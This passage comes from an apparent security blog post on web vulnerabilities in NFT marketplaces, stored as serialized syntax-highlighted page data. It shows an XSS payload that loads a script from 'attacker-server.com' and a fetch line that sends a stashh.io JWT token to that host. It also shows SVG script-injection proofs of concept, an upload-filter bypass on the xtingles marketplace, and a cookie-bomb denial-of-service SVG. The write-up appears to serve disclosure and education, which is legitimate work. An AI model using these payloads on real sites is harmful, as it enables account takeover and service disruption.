onerror",{"type":23,"tag":230,"props":35776,"children":35777},{"style":256},[35778],{"type":29,"value":35769},{"type":23,"tag":230,"props":35780,"children":35781},{"style":380},[35782],{"type":29,"value":4258},{"type":23,"tag":230,"props":35784,"children":35785},{"style":256},[35786],{"type":29,"value":35787},"(`",{"type":23,"tag":230,"props":35789,"children":35790},{"style":380},[35791],{"type":29,"value":35792},"https",{"type":23,"tag":230,"props":35794,"children":35795},{"style":256},[35796],{"type":29,"value":35797},"://",{"type":23,"tag":230,"props":35799,"children":35800},{"style":380},[35801],{"type":29,"value":35802},"attacker-server",{"type":23,"tag":230,"props":35804,"children":35805},{"style":256},[35806],{"type":29,"value":35807},".",{"type":23,"tag":230,"props":35809,"children":35810},{"style":380},[35811],{"type":29,"value":35812},"com",{"type":23,"tag":230,"props":35814,"children":35815},{"style":256},[35816],{"type":29,"value":35760},{"type":23,"tag":230,"props":35818,"children":35819},{"style":380},[35820],{"type":29,"value":35821},"leak",{"type":23,"tag":230,"props":35823,"children":35824},{"style":256},[35825],{"type":29,"value":35807},{"type":23,"tag":230,"props":35827,"children":35828},{"style":380},[35829],{"type":29,"value":33671},{"type":23,"tag":230,"props":35831,"children":35832},{"style":256},[35833],{"type":29,"value":35834},"`)>","",{"type":23,"tag":230,"props":35836,"children":35837},{"style":380},[35838],{"type":29,"value":35020},{"type":23,"tag":230,"props":35840,"children":35841},{"style":256},[35842],{"type":29,"value":35843},"":"",{"type":23,"tag":230,"props":35845,"children":35846},{"style":380},[35847],{"type":29,"value":35848},"profile-assets",{"type":23,"tag":230,"props":35850,"children":35851},{"style":256},[35852],{"type":29,"value":35853},"","",{"type":23,"tag":230,"props":35855,"children":35856},{"style":380},[35857],{"type":29,"value":35049},{"type":23,"tag":230,"props":35859,"children":35860},{"style":256},[35861],{"type":29,"value":35843},{"type":23,"tag":230,"props":35863,"children":35864},{"style":380},[35865],{"type":29,"value":35058},{"type":23,"tag":230,"props":35867,"children":35868},{"style":256},[35869],{"type":29,"value":35870},""}",{"type":23,"tag":230,"props":35872,"children":35873},{"style":380},[35874],{"type":29,"value":22374},{"type":23,"tag":230,"props":35876,"children":35877},{"style":34669},[35878],{"type":29,"value":35072},{"type":23,"tag":230,"props":35880,"children":35881},{"class":232,"line":391},[35882,35886,35890,35894,35898,35902,35906,35910,35914],{"type":23,"tag":230,"props":35883,"children":35884},{"style":34669},[35885],{"type":29,"value":34881},{"type":23,"tag":230,"props":35887,"children":35888},{"style":256},[35889],{"type":29,"value":10702},{"type":23,"tag":230,"props":35891,"children":35892},{"style":262},[35893],{"type":29,"value":34833},{"type":23,"tag":230,"props":35895,"children":35896},{"style":268},[35897],{"type":29,"value":863},{"type":23,"tag":230,"props":35899,"children":35900},{"style":380},[35901],{"type":29,"value":35096},{"type":23,"tag":230,"props":35903,"children":35904},{"style":262},[35905],{"type":29,"value":34803},{"type":23,"tag":230,"props":35907,"children":35908},{"style":268},[35909],{"type":29,"value":863},{"type":23,"tag":230,"props":35911,"children":35912},{"style":380},[35913],{"type":29,"value":35109},{"type":23,"tag":230,"props":35915,"children":35916},{"style":34669},[35917],{"type":29,"value":35072},{"type":23,"tag":230,"props":35919,"children":35920},{"class":232,"line":400},[35921,35925,35929],{"type":23,"tag":230,"props":35922,"children":35923},{"style":34669},[35924],{"type":29,"value":35121},{"type":23,"tag":230,"props":35926,"children":35927},{"style":256},[35928],{"type":29,"value":34743},{"type":23,"tag":230,"props":35930,"children":35931},{"style":34669},[35932],{"type":29,"value":8329},{"type":23,"tag":230,"props":35934,"children":35935},{"class":232,"line":444},[35936,35940,35944],{"type":23,"tag":230,"props":35937,"children":35938},{"style":34669},[35939],{"type":29,"value":35137},{"type":23,"tag":230,"props":35941,"children":35942},{"style":256},[35943],{"type":29,"value":1606},{"type":23,"tag":230,"props":35945,"children":35946},{"style":34669},[35947],{"type":29,"value":8329},{"type":23,"tag":230,"props":35949,"children":35950},{"class":232,"line":453},[35951],{"type":23,"tag":230,"props":35952,"children":35953},{"emptyLinePlaceholder":18},[35954],{"type":29,"value":459},{"type":23,"tag":230,"props":35956,"children":35957},{"class":232,"line":462},[35958,35962,35966],{"type":23,"tag":230,"props":35959,"children":35960},{"style":34669},[35961],{"type":29,"value":34688},{"type":23,"tag":230,"props":35963,"children":35964},{"style":256},[35965],{"type":29,"value":34708},{"type":23,"tag":230,"props":35967,"children":35968},{"style":34669},[35969],{"type":29,"value":8329},{"type":23,"tag":230,"props":35971,"children":35972},{"class":232,"line":471},[35973],{"type":23,"tag":230,"props":35974,"children":35975},{"emptyLinePlaceholder":18},[35976],{"type":29,"value":459},{"type":23,"tag":230,"props":35978,"children":35979},{"class":232,"line":500},[35980,35984],{"type":23,"tag":230,"props":35981,"children":35982},{"style":274},[35983],{"type":29,"value":35182},{"type":23,"tag":230,"props":35985,"children":35986},{"style":256},[35987],{"type":29,"value":13211},{"type":23,"tag":230,"props":35989,"children":35990},{"class":232,"line":514},[35991,35995,35999,36003,36007,36011,36015,36019,36023,36027,36031,36035],{"type":23,"tag":230,"props":35992,"children":35993},{"style":262},[35994],{"type":29,"value":35194},{"type":23,"tag":230,"props":35996,"children":35997},{"style":262},[35998],{"type":29,"value":35199},{"type":23,"tag":230,"props":36000,"children":36001},{"style":268},[36002],{"type":29,"value":35204},{"type":23,"tag":230,"props":36004,"children":36005},{"style":866},[36006],{"type":29,"value":2640},{"type":23,"tag":230,"props":36008,"children":36009},{"style":268},[36010],{"type":29,"value":664},{"type":23,"tag":230,"props":36012,"children":36013},{"style":866},[36014],{"type":29,"value":2640},{"type":23,"tag":230,"props":36016,"children":36017},{"style":294},[36018],{"type":29,"value":35221},{"type":23,"tag":230,"props":36020,"children":36021},{"style":268},[36022],{"type":29,"value":302},{"type":23,"tag":230,"props":36024,"children":36025},{"style":380},[36026],{"type":29,"value":35230},{"type":23,"tag":230,"props":36028,"children":36029},{"style":268},[36030],{"type":29,"value":35235},{"type":23,"tag":230,"props":36032,"children":36033},{"style":294},[36034],{"type":29,"value":35240},{"type":23,"tag":230,"props":36036,"children":36037},{"style":268},[36038],{"type":29,"value":10072},{"type":23,"tag":230,"props":36040,"children":36041},{"class":232,"line":897},[36042],{"type":23,"tag":230,"props":36043,"children":36044},{"emptyLinePlaceholder":18},[36045],{"type":29,"value":459},{"type":23,"tag":230,"props":36047,"children":36048},{"class":232,"line":960},[36049,36053,36057,36061,36065,36069,36073,36077,36081,36085,36089,36093,36097],{"type":23,"tag":230,"props":36050,"children":36051},{"style":262},[36052],{"type":29,"value":5404},{"type":23,"tag":230,"props":36054,"children":36055},{"style":262},[36056],{"type":29,"value":35263},{"type":23,"tag":230,"props":36058,"children":36059},{"style":268},[36060],{"type":29,"value":35204},{"type":23,"tag":230,"props":36062,"children":36063},{"style":256},[36064],{"type":29,"value":17448},{"type":23,"tag":230,"props":36066,"children":36067},{"style":294},[36068],{"type":29,"value":35276},{"type":23,"tag":230,"props":36070,"children":36071},{"style":268},[36072],{"type":29,"value":35281},{"type":23,"tag":230,"props":36074,"children":36075},{"style":262},[36076],{"type":29,"value":35240},{"type":23,"tag":230,"props":36078,"children":36079},{"style":268},[36080],{"type":29,"value":25375},{"type":23,"tag":230,"props":36082,"children":36083},{"style":380},[36084],{"type":29,"value":35294},{"type":23,"tag":230,"props":36086,"children":36087},{"style":268},[36088],{"type":29,"value":35299},{"type":23,"tag":230,"props":36090,"children":36091},{"style":262},[36092],{"type":29,"value":35304},{"type":23,"tag":230,"props":36094,"children":36095},{"style":380},[36096],{"type":29,"value":35309},{"type":23,"tag":230,"props":36098,"children":36099},{"style":268},[36100],{"type":29,"value":35314},{"type":23,"tag":230,"props":36102,"children":36103},{"class":232,"line":969},[36104,36108,36112,36116,36120,36124],{"type":23,"tag":230,"props":36105,"children":36106},{"style":262},[36107],{"type":29,"value":35194},{"type":23,"tag":230,"props":36109,"children":36110},{"style":262},[36111],{"type":29,"value":35326},{"type":23,"tag":230,"props":36113,"children":36114},{"style":268},[36115],{"type":29,"value":35204},{"type":23,"tag":230,"props":36117,"children":36118},{"style":256},[36119],{"type":29,"value":17448},{"type":23,"tag":230,"props":36121,"children":36122},{"style":294},[36123],{"type":29,"value":35339},{"type":23,"tag":230,"props":36125,"children":36126},{"style":268},[36127],{"type":29,"value":2140},{"type":23,"tag":230,"props":36129,"children":36130},{"class":232,"line":4526},[36131,36135,36139,36143,36147,36151,36155,36159],{"type":23,"tag":230,"props":36132,"children":36133},{"style":262},[36134],{"type":29,"value":35351},{"type":23,"tag":230,"props":36136,"children":36137},{"style":268},[36138],{"type":29,"value":312},{"type":23,"tag":230,"props":36140,"children":36141},{"style":262},[36142],{"type":29,"value":35360},{"type":23,"tag":230,"props":36144,"children":36145},{"style":268},[36146],{"type":29,"value":312},{"type":23,"tag":230,"props":36148,"children":36149},{"style":294},[36150],{"type":29,"value":11969},{"type":23,"tag":230,"props":36152,"children":36153},{"style":268},[36154],{"type":29,"value":302},{"type":23,"tag":230,"props":36156,"children":36157},{"style":262},[36158],{"type":29,"value":35377},{"type":23,"tag":230,"props":36160,"children":36161},{"style":268},[36162],{"type":29,"value":753},{"type":23,"tag":230,"props":36164,"children":36165},{"class":232,"line":4534},[36166],{"type":23,"tag":230,"props":36167,"children":36168},{"emptyLinePlaceholder":18},[36169],{"type":29,"value":459},{"type":23,"tag":230,"props":36171,"children":36172},{"class":232,"line":4542},[36173,36177,36181,36185,36189,36193,36197,36201],{"type":23,"tag":230,"props":36174,"children":36175},{"style":262},[36176],{"type":29,"value":35396},{"type":23,"tag":230,"props":36178,"children":36179},{"style":268},[36180],{"type":29,"value":312},{"type":23,"tag":230,"props":36182,"children":36183},{"style":262},[36184],{"type":29,"value":35405},{"type":23,"tag":230,"props":36186,"children":36187},{"style":268},[36188],{"type":29,"value":35204},{"type":23,"tag":230,"props":36190,"children":36191},{"style":262},[36192],{"type":29,"value":35414},{"type":23,"tag":230,"props":36194,"children":36195},{"style":268},[36196],{"type":29,"value":312},{"type":23,"tag":230,"props":36198,"children":36199},{"style":262},[36200],{"type":29,"value":35405},{"type":23,"tag":230,"props":36202,"children":36203},{"style":268},[36204],{"type":29,"value":511},{"type":23,"tag":230,"props":36206,"children":36207},{"class":232,"line":4559},[36208],{"type":23,"tag":230,"props":36209,"children":36210},{"emptyLinePlaceholder":18},[36211],{"type":29,"value":459},{"type":23,"tag":230,"props":36213,"children":36214},{"class":232,"line":4587},[36215,36220,36224,36229],{"type":23,"tag":230,"props":36216,"children":36217},{"style":262},[36218],{"type":29,"value":36219},"        form123",{"type":23,"tag":230,"props":36221,"children":36222},{"style":268},[36223],{"type":29,"value":312},{"type":23,"tag":230,"props":36225,"children":36226},{"style":294},[36227],{"type":29,"value":36228},"submit",{"type":23,"tag":230,"props":36230,"children":36231},{"style":268},[36232],{"type":29,"value":10072},{"type":23,"tag":230,"props":36234,"children":36235},{"class":232,"line":4595},[36236,36240],{"type":23,"tag":230,"props":36237,"children":36238},{"style":256},[36239],{"type":29,"value":35434},{"type":23,"tag":230,"props":36241,"children":36242},{"style":274},[36243],{"type":29,"value":35439},{"type":23,"tag":230,"props":36245,"children":36246},{"class":232,"line":4619},[36247],{"type":23,"tag":230,"props":36248,"children":36249},{"emptyLinePlaceholder":18},[36250],{"type":29,"value":459},{"type":23,"tag":230,"props":36252,"children":36253},{"class":232,"line":4627},[36254,36258,36262],{"type":23,"tag":230,"props":36255,"children":36256},{"style":34669},[36257],{"type":29,"value":35137},{"type":23,"tag":230,"props":36259,"children":36260},{"style":256},[36261],{"type":29,"value":34708},{"type":23,"tag":230,"props":36263,"children":36264},{"style":34669},[36265],{"type":29,"value":8329},{"type":23,"tag":230,"props":36267,"children":36268},{"class":232,"line":4659},[36269,36273,36277],{"type":23,"tag":230,"props":36270,"children":36271},{"style":34669},[36272],{"type":29,"value":34722},{"type":23,"tag":230,"props":36274,"children":36275},{"style":256},[36276],{"type":29,"value":34676},{"type":23,"tag":230,"props":36278,"children":36279},{"style":34669},[36280],{"type":29,"value":8329},{"type":23,"tag":32,"props":36282,"children":36283},{},[36284],{"type":29,"value":36285},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":220,"props":36287,"children":36289},{"className":1678,"code":36288,"language":1680,"meta":7,"style":7},"{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n",[36290],{"type":23,"tag":71,"props":36291,"children":36292},{"__ignoreMap":7},[36293,36300,36321,36342,36359],{"type":23,"tag":230,"props":36294,"children":36295},{"class":232,"line":233},[36296],{"type":23,"tag":230,"props":36297,"children":36298},{"style":274},[36299],{"type":29,"value":13211},{"type":23,"tag":230,"props":36301,"children":36302},{"class":232,"line":243},[36303,36308,36312,36317],{"type":23,"tag":230,"props":36304,"children":36305},{"style":262},[36306],{"type":29,"value":36307},"  \"address\"",{"type":23,"tag":230,"props":36309,"children":36310},{"style":274},[36311],{"type":29,"value":817},{"type":23,"tag":230,"props":36313,"children":36314},{"style":380},[36315],{"type":29,"value":36316},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":230,"props":36318,"children":36319},{"style":274},[36320],{"type":29,"value":388},{"type":23,"tag":230,"props":36322,"children":36323},{"class":232,"line":252},[36324,36329,36333,36338],{"type":23,"tag":230,"props":36325,"children":36326},{"style":262},[36327],{"type":29,"value":36328},"  \"to\"",{"type":23,"tag":230,"props":36330,"children":36331},{"style":274},[36332],{"type":29,"value":817},{"type":23,"tag":230,"props":36334,"children":36335},{"style":380},[36336],{"type":29,"value":36337},"\"profile-assets\"",{"type":23,"tag":230,"props":36339,"children":36340},{"style":274},[36341],{"type":29,"value":388},{"type":23,"tag":230,"props":36343,"children":36344},{"class":232,"line":280},[36345,36350,36354],{"type":23,"tag":230,"props":36346,"children":36347},{"style":262},[36348],{"type":29,"value":36349},"  \"type\"",{"type":23,"tag":230,"props":36351,"children":36352},{"style":274},[36353],{"type":29,"value":817},{"type":23,"tag":230,"props":36355,"children":36356},{"style":380},[36357],{"type":29,"value":36358},"\"icon\"\n",{"type":23,"tag":230,"props":36360,"children":36361},{"class":232,"line":334},[36362],{"type":23,"tag":230,"props":36363,"children":36364},{"style":274},[36365],{"type":29,"value":975},{"type":23,"tag":32,"props":36367,"children":36368},{},[36369],{"type":29,"value":36370},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":23,"tag":220,"props":36372,"children":36374},{"className":33669,"code":36373,"language":33671,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[36375],{"type":23,"tag":71,"props":36376,"children":36377},{"__ignoreMap":7},[36378],{"type":23,"tag":230,"props":36379,"children":36380},{"class":232,"line":233},[36381,36386,36390,36395,36399,36404,36408,36413,36417,36422,36426,36430,36434],{"type":23,"tag":230,"props":36382,"children":36383},{"style":294},[36384],{"type":29,"value":36385},"fetch",{"type":23,"tag":230,"props":36387,"children":36388},{"style":274},[36389],{"type":29,"value":302},{"type":23,"tag":230,"props":36391,"children":36392},{"style":380},[36393],{"type":29,"value":36394},"`https://attacker-server.com/?token_leak=",{"type":23,"tag":230,"props":36396,"children":36397},{"style":256},[36398],{"type":29,"value":632},{"type":23,"tag":230,"props":36400,"children":36401},{"style":262},[36402],{"type":29,"value":36403},"localStorage",{"type":23,"tag":230,"props":36405,"children":36406},{"style":268},[36407],{"type":29,"value":312},{"type":23,"tag":230,"props":36409,"children":36410},{"style":294},[36411],{"type":29,"value":36412},"getItem",{"type":23,"tag":230,"props":36414,"children":36415},{"style":268},[36416],{"type":29,"value":302},{"type":23,"tag":230,"props":36418,"children":36419},{"style":380},[36420],{"type":29,"value":36421},"'token'",{"type":23,"tag":230,"props":36423,"children":36424},{"style":268},[36425],{"type":29,"value":5467},{"type":23,"tag":230,"props":36427,"children":36428},{"style":256},[36429],{"type":29,"value":642},{"type":23,"tag":230,"props":36431,"children":36432},{"style":380},[36433],{"type":29,"value":12712},{"type":23,"tag":230,"props":36435,"children":36436},{"style":274},[36437],{"type":29,"value":753},{"type":23,"tag":59,"props":36439,"children":36441},{"id":36440},"svgs",[36442],{"type":29,"value":36443},"SVGs",{"type":23,"tag":32,"props":36445,"children":36446},{},[36447],{"type":29,"value":36448},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":23,"tag":32,"props":36450,"children":36451},{},[36452],{"type":29,"value":36453},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":23,"tag":220,"props":36455,"children":36457},{"className":33669,"code":36456,"language":33671,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[36458],{"type":23,"tag":71,"props":36459,"children":36460},{"__ignoreMap":7},[36461,36507,36544,36551,36581,36613,36641,36649,36665],{"type":23,"tag":230,"props":36462,"children":36463},{"class":232,"line":233},[36464,36469,36474,36479,36483,36488,36493,36497,36502],{"type":23,"tag":230,"props":36465,"children":36466},{"style":268},[36467],{"type":29,"value":36468},"\u003C?",{"type":23,"tag":230,"props":36470,"children":36471},{"style":262},[36472],{"type":29,"value":36473},"xml",{"type":23,"tag":230,"props":36475,"children":36476},{"style":262},[36477],{"type":29,"value":36478}," version",{"type":23,"tag":230,"props":36480,"children":36481},{"style":268},[36482],{"type":29,"value":863},{"type":23,"tag":230,"props":36484,"children":36485},{"style":380},[36486],{"type":29,"value":36487},"\"1.0\"",{"type":23,"tag":230,"props":36489,"children":36490},{"style":262},[36491],{"type":29,"value":36492}," encoding",{"type":23,"tag":230,"props":36494,"children":36495},{"style":268},[36496],{"type":29,"value":863},{"type":23,"tag":230,"props":36498,"children":36499},{"style":380},[36500],{"type":29,"value":36501},"\"UTF-8\"",{"type":23,"tag":230,"props":36503,"children":36504},{"style":268},[36505],{"type":29,"value":36506},"?>\n",{"type":23,"tag":230,"props":36508,"children":36509},{"class":232,"line":243},[36510,36515,36520,36525,36530,36535,36540],{"type":23,"tag":230,"props":36511,"children":36512},{"style":268},[36513],{"type":29,"value":36514},"\u003C!",{"type":23,"tag":230,"props":36516,"children":36517},{"style":262},[36518],{"type":29,"value":36519},"DOCTYPE",{"type":23,"tag":230,"props":36521,"children":36522},{"style":262},[36523],{"type":29,"value":36524}," svg",{"type":23,"tag":230,"props":36526,"children":36527},{"style":262},[36528],{"type":29,"value":36529}," PUBLIC",{"type":23,"tag":230,"props":36531,"children":36532},{"style":380},[36533],{"type":29,"value":36534}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":23,"tag":230,"props":36536,"children":36537},{"style":380},[36538],{"type":29,"value":36539}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":23,"tag":230,"props":36541,"children":36542},{"style":268},[36543],{"type":29,"value":8329},{"type":23,"tag":230,"props":36545,"children":36546},{"class":232,"line":252},[36547],{"type":23,"tag":230,"props":36548,"children":36549},{"emptyLinePlaceholder":18},[36550],{"type":29,"value":459},{"type":23,"tag":230,"props":36552,"children":36553},{"class":232,"line":280},[36554,36558,36563,36568,36572,36577],{"type":23,"tag":230,"props":36555,"children":36556},{"style":34669},[36557],{"type":29,"value":11055},{"type":23,"tag":230,"props":36559,"children":36560},{"style":256},[36561],{"type":29,"value":36562},"svg",{"type":23,"tag":230,"props":36564,"children":36565},{"style":262},[36566],{"type":29,"value":36567}," xmlns",{"type":23,"tag":230,"props":36569,"children":36570},{"style":268},[36571],{"type":29,"value":863},{"type":23,"tag":230,"props":36573,"children":36574},{"style":380},[36575],{"type":29,"value":36576},"\"http://www.w3.org/2000/svg\"",{"type":23,"tag":230,"props":36578,"children":36579},{"style":34669},[36580],{"type":29,"value":8329},{"type":23,"tag":230,"props":36582,"children":36583},{"class":232,"line":334},[36584,36588,36593,36597,36601,36605,36609],{"type":23,"tag":230,"props":36585,"children":36586},{"style":34669},[36587],{"type":29,"value":34688},{"type":23,"tag":230,"props":36589,"children":36590},{"style":256},[36591],{"type":29,"value":36592},"title",{"type":23,"tag":230,"props":36594,"children":36595},{"style":34669},[36596],{"type":29,"value":12792},{"type":23,"tag":230,"props":36598,"children":36599},{"style":274},[36600],{"type":29,"value":33543},{"type":23,"tag":230,"props":36602,"children":36603},{"style":34669},[36604],{"type":29,"value":34722},{"type":23,"tag":230,"props":36606,"children":36607},{"style":256},[36608],{"type":29,"value":36592},{"type":23,"tag":230,"props":36610,"children":36611},{"style":34669},[36612],{"type":29,"value":8329},{"type":23,"tag":230,"props":36614,"children":36615},{"class":232,"line":371},[36616,36620,36624,36628,36632,36637],{"type":23,"tag":230,"props":36617,"children":36618},{"style":34669},[36619],{"type":29,"value":34688},{"type":23,"tag":230,"props":36621,"children":36622},{"style":256},[36623],{"type":29,"value":34708},{"type":23,"tag":230,"props":36625,"children":36626},{"style":262},[36627],{"type":29,"value":34833},{"type":23,"tag":230,"props":36629,"children":36630},{"style":268},[36631],{"type":29,"value":863},{"type":23,"tag":230,"props":36633,"children":36634},{"style":380},[36635],{"type":29,"value":36636},"\"text/javascript\"",{"type":23,"tag":230,"props":36638,"children":36639},{"style":34669},[36640],{"type":29,"value":8329},{"type":23,"tag":230,"props":36642,"children":36643},{"class":232,"line":391},[36644],{"type":23,"tag":230,"props":36645,"children":36646},{"style":274},[36647],{"type":29,"value":36648},"   alert(document.domain);\n",{"type":23,"tag":230,"props":36650,"children":36651},{"class":232,"line":400},[36652,36657,36661],{"type":23,"tag":230,"props":36653,"children":36654},{"style":34669},[36655],{"type":29,"value":36656},"   \u003C/",{"type":23,"tag":230,"props":36658,"children":36659},{"style":256},[36660],{"type":29,"value":34708},{"type":23,"tag":230,"props":36662,"children":36663},{"style":34669},[36664],{"type":29,"value":8329},{"type":23,"tag":230,"props":36666,"children":36667},{"class":232,"line":444},[36668,36673,36677],{"type":23,"tag":230,"props":36669,"children":36670},{"style":34669},[36671],{"type":29,"value":36672}," \u003C/",{"type":23,"tag":230,"props":36674,"children":36675},{"style":256},[36676],{"type":29,"value":36562},{"type":23,"tag":230,"props":36678,"children":36679},{"style":34669},[36680],{"type":29,"value":8329},{"type":23,"tag":32,"props":36682,"children":36683},{},[36684,36686,36693],{"type":29,"value":36685},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":23,"tag":181,"props":36687,"children":36690},{"href":36688,"rel":36689},"https://xtingles.com/",[185],[36691],{"type":29,"value":36692},"xtingles Marketplace",{"type":29,"value":312},{"type":23,"tag":32,"props":36695,"children":36696},{},[36697],{"type":29,"value":36698},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":23,"tag":32,"props":36700,"children":36701},{},[36702],{"type":29,"value":36703},"Below, we show you how we did it.",{"type":23,"tag":32,"props":36705,"children":36706},{},[36707],{"type":29,"value":36708},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":23,"tag":32,"props":36710,"children":36711},{},[36712],{"type":23,"tag":93,"props":36713,"children":36715},{"alt":7,"src":36714},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":23,"tag":32,"props":36717,"children":36718},{},[36719],{"type":29,"value":36720},"After changing the extension inside the file name.",{"type":23,"tag":32,"props":36722,"children":36723},{},[36724],{"type":23,"tag":93,"props":36725,"children":36727},{"alt":7,"src":36726},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":23,"tag":59,"props":36729,"children":36731},{"id":36730},"svgs-return",[36732],{"type":29,"value":36733},"SVGs Return",{"type":23,"tag":32,"props":36735,"children":36736},{},[36737],{"type":29,"value":36738},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":23,"tag":32,"props":36740,"children":36741},{},[36742],{"type":29,"value":36743},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":23,"tag":32,"props":36745,"children":36746},{},[36747],{"type":29,"value":36748},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":23,"tag":220,"props":36750,"children":36754},{"className":36751,"code":36752,"language":36753,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[36755],{"type":23,"tag":71,"props":36756,"children":36757},{"__ignoreMap":7},[36758,36797,36828,36835,36862,36893,36920,36928,36936,36943,36955,37029,37037,37052],{"type":23,"tag":230,"props":36759,"children":36760},{"class":232,"line":233},[36761,36765,36769,36773,36777,36781,36785,36789,36793],{"type":23,"tag":230,"props":36762,"children":36763},{"style":268},[36764],{"type":29,"value":36468},{"type":23,"tag":230,"props":36766,"children":36767},{"style":262},[36768],{"type":29,"value":36473},{"type":23,"tag":230,"props":36770,"children":36771},{"style":262},[36772],{"type":29,"value":36478},{"type":23,"tag":230,"props":36774,"children":36775},{"style":268},[36776],{"type":29,"value":863},{"type":23,"tag":230,"props":36778,"children":36779},{"style":380},[36780],{"type":29,"value":36487},{"type":23,"tag":230,"props":36782,"children":36783},{"style":262},[36784],{"type":29,"value":36492},{"type":23,"tag":230,"props":36786,"children":36787},{"style":268},[36788],{"type":29,"value":863},{"type":23,"tag":230,"props":36790,"children":36791},{"style":380},[36792],{"type":29,"value":36501},{"type":23,"tag":230,"props":36794,"children":36795},{"style":268},[36796],{"type":29,"value":36506},{"type":23,"tag":230,"props":36798,"children":36799},{"class":232,"line":243},[36800,36804,36808,36812,36816,36820,36824],{"type":23,"tag":230,"props":36801,"children":36802},{"style":268},[36803],{"type":29,"value":36514},{"type":23,"tag":230,"props":36805,"children":36806},{"style":262},[36807],{"type":29,"value":36519},{"type":23,"tag":230,"props":36809,"children":36810},{"style":262},[36811],{"type":29,"value":36524},{"type":23,"tag":230,"props":36813,"children":36814},{"style":262},[36815],{"type":29,"value":36529},{"type":23,"tag":230,"props":36817,"children":36818},{"style":380},[36819],{"type":29,"value":36534},{"type":23,"tag":230,"props":36821,"children":36822},{"style":380},[36823],{"type":29,"value":36539},{"type":23,"tag":230,"props":36825,"children":36826},{"style":268},[36827],{"type":29,"value":8329},{"type":23,"tag":230,"props":36829,"children":36830},{"class":232,"line":252},[36831],{"type":23,"tag":230,"props":36832,"children":36833},{"emptyLinePlaceholder":18},[36834],{"type":29,"value":459},{"type":23,"tag":230,"props":36836,"children":36837},{"class":232,"line":280},[36838,36842,36846,36850,36854,36858],{"type":23,"tag":230,"props":36839,"children":36840},{"style":34669},[36841],{"type":29,"value":11055},{"type":23,"tag":230,"props":36843,"children":36844},{"style":256},[36845],{"type":29,"value":36562},{"type":23,"tag":230,"props":36847,"children":36848},{"style":262},[36849],{"type":29,"value":36567},{"type":23,"tag":230,"props":36851,"children":36852},{"style":268},[36853],{"type":29,"value":863},{"type":23,"tag":230,"props":36855,"children":36856},{"style":380},[36857],{"type":29,"value":36576},{"type":23,"tag":230,"props":36859,"children":36860},{"style":34669},[36861],{"type":29,"value":8329},{"type":23,"tag":230,"props":36863,"children":36864},{"class":232,"line":334},[36865,36869,36873,36877,36881,36885,36889],{"type":23,"tag":230,"props":36866,"children":36867},{"style":34669},[36868],{"type":29,"value":34688},{"type":23,"tag":230,"props":36870,"children":36871},{"style":256},[36872],{"type":29,"value":36592},{"type":23,"tag":230,"props":36874,"children":36875},{"style":34669},[36876],{"type":29,"value":12792},{"type":23,"tag":230,"props":36878,"children":36879},{"style":274},[36880],{"type":29,"value":33543},{"type":23,"tag":230,"props":36882,"children":36883},{"style":34669},[36884],{"type":29,"value":34722},{"type":23,"tag":230,"props":36886,"children":36887},{"style":256},[36888],{"type":29,"value":36592},{"type":23,"tag":230,"props":36890,"children":36891},{"style":34669},[36892],{"type":29,"value":8329},{"type":23,"tag":230,"props":36894,"children":36895},{"class":232,"line":371},[36896,36900,36904,36908,36912,36916],{"type":23,"tag":230,"props":36897,"children":36898},{"style":34669},[36899],{"type":29,"value":34688},{"type":23,"tag":230,"props":36901,"children":36902},{"style":256},[36903],{"type":29,"value":34708},{"type":23,"tag":230,"props":36905,"children":36906},{"style":262},[36907],{"type":29,"value":34833},{"type":23,"tag":230,"props":36909,"children":36910},{"style":268},[36911],{"type":29,"value":863},{"type":23,"tag":230,"props":36913,"children":36914},{"style":380},[36915],{"type":29,"value":36636},{"type":23,"tag":230,"props":36917,"children":36918},{"style":34669},[36919],{"type":29,"value":8329},{"type":23,"tag":230,"props":36921,"children":36922},{"class":232,"line":391},[36923],{"type":23,"tag":230,"props":36924,"children":36925},{